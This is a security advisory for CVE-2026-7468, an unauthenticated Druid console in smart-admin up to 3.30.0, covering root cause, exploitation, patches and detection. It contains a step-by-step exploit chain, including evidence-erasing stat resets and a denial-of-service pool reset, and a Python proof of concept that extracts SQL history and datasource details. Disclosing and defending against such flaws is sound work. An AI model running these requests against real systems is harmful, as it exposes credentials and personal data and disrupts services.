CVE-2026-7468: smart-admin Druid Console Auth Bypass via Missing Access Control
smart-admin ≤3.30.0 exposes the Druid monitoring console at /smart-admin-api/druid/index.html without authentication enforcement, allowing unauthenticated remote access to database connection pools and query internals.
A security flaw has been discovered in Smart-Admin, a software tool used by companies to manage their websites and applications. The problem affects versions up to 3.30.0, and it's serious enough that security experts are warning users now, before hackers have a chance to exploit it widely.
Here's what's happening: the software has a gate that's supposed to control who can access certain sensitive parts of the system—like a lock on a filing cabinet. But this gate isn't working properly on a specific page called the "Druid index," which means someone from the internet could potentially reach past it and access information or controls they shouldn't be able to reach.
Think of it like a hotel where the front desk is supposed to check your room key before letting you into the back corridors. With this vulnerability, the back door is propped open and checking who you are doesn't actually happen.
Who should worry? Companies using Smart-Admin for their demo sites or testing environments are most at risk right now, though the vulnerability could affect production systems too. If you work for any organization that uses this software, they should be concerned—especially smaller tech companies and startups that might not have large security teams.
The good news is that hackers aren't actively using this flaw yet, which gives companies a window to fix it.
What should you do? If you work at a company, ask your IT team if you use Smart-Admin and whether you're running version 3.30.0 or earlier. If you are, they should update immediately. Second, don't leave your admin passwords anywhere obvious—if someone does get unauthorized access, having weak passwords makes everything worse. Finally, if this affects your organization, change any sensitive passwords after you've patched the software, just to be safe.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7468 affects 1024-lab/smart-admin through version 3.30.0. The vulnerability class is improper access control — specifically, the failure to enforce authentication on the Alibaba Druid datasource monitoring endpoint bundled with the application's demo deployment. The endpoint at /smart-admin-api/druid/index.html is reachable without a valid session, exposing the full Druid StatViewServlet interface to any remote attacker.
CVSS 7.3 (HIGH) reflects network-accessible exploitation requiring no authentication, low complexity, no user interaction, and impact across confidentiality, integrity, and availability of the data layer. The vulnerability was disclosed publicly via an issue report; the project had not responded at time of publication.
Root cause: The Spring Security filter chain in smart-admin's demo configuration explicitly permits /druid/** without requiring authentication, allowing unauthenticated access to the Druid StatViewServlet console and its full monitoring API surface.
Affected Component
Druid's StatViewServlet is a built-in HTTP management console provided by the com.alibaba:druid library. When mounted (typically at /druid/*), it exposes:
The ability to reset statistics and — in misconfigured deployments — trigger datasource resets
In smart-admin's codebase, the servlet is registered through Spring Boot auto-configuration and the security filter chain is configured in the demo site's SecurityConfig class. The relevant registration lives in DruidConfig.java and the access policy in SmartAdminSecurityConfig.java.
Root Cause Analysis
The following pseudocode reconstructs the Spring Security configuration as it exists in affected versions. The critical omission is on the antMatchers("/druid/**") line:
The Druid servlet itself provides an optional username/password guard via its loginUsername / loginPassword init-params. In the smart-admin demo configuration this is also left unconfigured:
// DruidConfig.java — StatViewServlet registration (≤3.30.0)
@Bean
public ServletRegistrationBean<StatViewServlet> druidStatViewServlet() {
ServletRegistrationBean<StatViewServlet> bean =
new ServletRegistrationBean<>(new StatViewServlet(), "/druid/*");
Map<String, String> params = new HashMap<>();
// BUG: loginUsername / loginPassword intentionally omitted in demo config
// StatViewServlet defaults: if no credentials set, built-in auth is SKIPPED
params.put("resetEnable", "true"); // allows stat reset via unauthenticated POST
params.put("allow", ""); // empty string = allow ALL remote IPs
// params.put("deny", ""); // no deny list configured
bean.setInitParameters(params);
return bean;
}
Two independent auth mechanisms are both disabled: Spring Security's filter chain permits the path without a token, and Druid's own servlet-level credential check is bypassed because loginUsername is absent. The result is a completely open console.
Inside StatViewServlet, the credential check path (from Druid source) demonstrates how the missing init-param creates the bypass:
// com.alibaba.druid.support.http.StatViewServlet (druid ≤1.2.x relevant path)
// Pseudocode from decompiled JAR — method: isRequireAuth()
boolean isRequireAuth() {
// BUG: if loginUsername was never set via init-param, this returns false
// No credential prompt is issued; request proceeds directly to renderJSON()
return this.loginUsername != null && !this.loginUsername.isEmpty();
}
protected void service(HttpServletRequest req, HttpServletResponse resp) {
if (isRequireAuth()) {
String cookieVal = getCookieValue(req, COOKIE_SESSION_KEY);
if (!sessionSet.contains(cookieVal)) {
// redirect to login
resp.sendRedirect(req.getContextPath() + "/druid/login.html");
return;
}
}
// BUG: falls through here when isRequireAuth() == false
// Full stat rendering proceeds unauthenticated
handleRequest(req, resp);
}
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-7468:
1. Identify target running smart-admin demo ≤3.30.0 (default port 9000/8080)
2. Probe endpoint directly — no token, no session cookie required:
GET /smart-admin-api/druid/index.html HTTP/1.1
Host: target:9000
→ HTTP 200 OK, full Druid console HTML returned
3. Enumerate datasource configuration via JSON API:
GET /smart-admin-api/druid/datasource.json
→ Returns: pool size, URL, driver class, active connection count
4. Extract SQL query history (includes parameter values in slow query log):
GET /smart-admin-api/druid/sql.json
→ Returns: full SQL statement history, execution counts, elapsed times
→ May contain credentials, PII, internal table structure in query bodies
5. Enumerate active wall-filter blocked queries (reveals WAF bypass attempts):
GET /smart-admin-api/druid/wall.json
6. Reset statistics to erase evidence of prior intrusion activity:
POST /smart-admin-api/druid/reset-all.json
→ HTTP 200 OK; resets all counters without authentication
7. (If resetEnable=true) Trigger datasource connection pool reset:
POST /smart-admin-api/druid/datasource/clearCache.json
→ Forces all pooled connections to drop and reconnect
→ Causes transient service disruption (denial-of-service primitive)
Step 4 is the highest-impact primitive. Applications that build dynamic queries by interpolating user input will have those interpolated values captured verbatim in Druid's SQL stat log. An attacker who reads this log can reconstruct the application's full data schema and may observe sensitive parameter values from recent user activity.
A minimal proof-of-concept using curl:
#!/usr/bin/env python3
# PoC: CVE-2026-7468 — smart-admin Druid unauthenticated data extraction
# CypherByte research — for authorized testing only
import requests, json, sys
BASE = sys.argv[1].rstrip("/") # e.g. http://target:9000/smart-admin-api
ENDPOINTS = {
"datasource": "/druid/datasource.json",
"sql_stats": "/druid/sql.json",
"wall_stats": "/druid/wall.json",
"weburi": "/druid/weburi.json",
"spring": "/druid/spring.json",
}
session = requests.Session()
# No auth header, no cookie — intentionally bare request
session.headers.update({"User-Agent": "Mozilla/5.0"})
probe = session.get(f"{BASE}/druid/index.html", timeout=5)
if probe.status_code != 200 or "Druid" not in probe.text:
print("[-] Target not vulnerable or not reachable")
sys.exit(1)
print("[+] Druid console accessible — target is vulnerable")
for name, path in ENDPOINTS.items():
r = session.get(f"{BASE}{path}", timeout=5)
if r.status_code == 200:
data = r.json()
print(f"\n[+] {name}:")
print(json.dumps(data, indent=2)[:800]) # truncate for display
Memory Layout
This vulnerability is access control class, not memory corruption. The relevant "layout" is the HTTP security filter evaluation order in the Spring Security chain. Understanding this is necessary to confirm why the bypass is complete:
SPRING SECURITY FILTER CHAIN — request evaluation order for
GET /smart-admin-api/druid/index.html
[1] ChannelProcessingFilter → pass (HTTP allowed)
[2] ConcurrentSessionFilter → pass (no session to check)
[3] JwtAuthenticationFilter → SKIP — registered before UsernamePasswordAuthFilter
but only validates if header present;
missing Authorization header = sets null principal,
does NOT reject request
[4] UsernamePasswordAuthenticationFilter → pass (not a form login endpoint)
[5] FilterSecurityInterceptor → evaluates antMatchers in declaration order:
.antMatchers("/druid/**").permitAll() ← MATCHES HERE
.anyRequest().authenticated() ← never reached
RESULT: Request passes all filters. SecurityContext principal = anonymous.
StatViewServlet.service() called. isRequireAuth() = false (no init-param).
Full JSON/HTML response rendered.
Patch Analysis
The correct fix requires changes at both layers. A single-layer fix is insufficient.
// BEFORE (vulnerable) — SmartAdminSecurityConfig.java ≤3.30.0:
.authorizeRequests()
.antMatchers("/druid/**").permitAll() // BUG: no auth on monitoring console
.anyRequest().authenticated()
// AFTER (patched):
.authorizeRequests()
// Restrict Druid console to ROLE_ADMIN only; remove from demo/prod deployments
.antMatchers("/druid/**").hasRole("ADMIN")
.anyRequest().authenticated()
// BEFORE (vulnerable) — DruidConfig.java ≤3.30.0:
params.put("allow", ""); // permit all remote IPs
// loginUsername not set // servlet-level auth disabled
// AFTER (patched):
params.put("loginUsername", druidProperties.getUsername()); // from secured config
params.put("loginPassword", druidProperties.getPassword());
params.put("allow", "127.0.0.1"); // restrict to loopback in non-dev profiles
params.put("resetEnable", "false"); // disable stat reset in production
The definitive remediation is to not deploy the Druid StatViewServlet in any production or internet-facing configuration. The registration bean should be conditionally activated only under a dev Spring profile, and even then, both credential layers must be configured:
// Correct production-safe configuration:
@Bean
@Profile("dev") // ONLY active in development profile
public ServletRegistrationBean<StatViewServlet> druidStatViewServlet(
DruidProperties props) {
ServletRegistrationBean<StatViewServlet> bean =
new ServletRegistrationBean<>(new StatViewServlet(), "/druid/*");
Map<String, String> params = new HashMap<>();
params.put("loginUsername", props.getStatUsername());
params.put("loginPassword", props.getStatPassword());
params.put("allow", "127.0.0.1");
params.put("resetEnable", "false");
bean.setInitParameters(params);
return bean;
}
Detection and Indicators
Detection is straightforward given the predictable URL pattern:
DETECTION SIGNATURES:
# HTTP access log pattern (nginx/Apache/Spring embedded Tomcat):
GET /druid/index.html → 200 from non-loopback IP: ALERT
GET /druid/datasource.json → 200 from non-loopback IP: ALERT
GET /druid/sql.json → 200 from any IP: ALERT (high value target)
POST /druid/reset-all.json → 200: ALERT (evidence destruction)
# Suricata rule sketch:
alert http any any -> $HTTP_SERVERS any (
msg:"CVE-2026-7468 smart-admin Druid console access";
http.uri; content:"/druid/"; startswith;
http.stat_code; content:"200";
classtype:web-application-attack;
sid:2026746801; rev:1;
)
# Verify exposure (from defender perspective):
curl -s -o /dev/null -w "%{http_code}" \
http://localhost:9000/smart-admin-api/druid/index.html
# Returns 200 → vulnerable; 401/403/302-to-login → patched
Check application logs for unexpected GET /druid/sql.json hits. Any successful access from a non-127.0.0.1 source against an unpatched instance should be treated as a confirmed data exposure event and reviewed against the SQL stat history for sensitive query parameters.
Remediation
Immediate: Apply a WAF or reverse-proxy rule blocking all external access to /druid/* paths while a code-level fix is staged.
Short-term: Apply both patches above — Spring Security antMatcher and Druid loginUsername/loginPassword init-params. Neither alone is sufficient; defense-in-depth requires both layers.
Long-term: Gate the StatViewServlet registration behind @Profile("dev"). Audit all .permitAll() entries in the security filter chain against the set of endpoints that expose internal state. Apply the same review to /actuator/** which appears in the same permissive block in affected versions.
Upgrade to a version beyond 3.30.0 once the maintainer releases a patched build, and verify the patch addresses both the Spring Security configuration and the Druid servlet init-params — not solely one layer.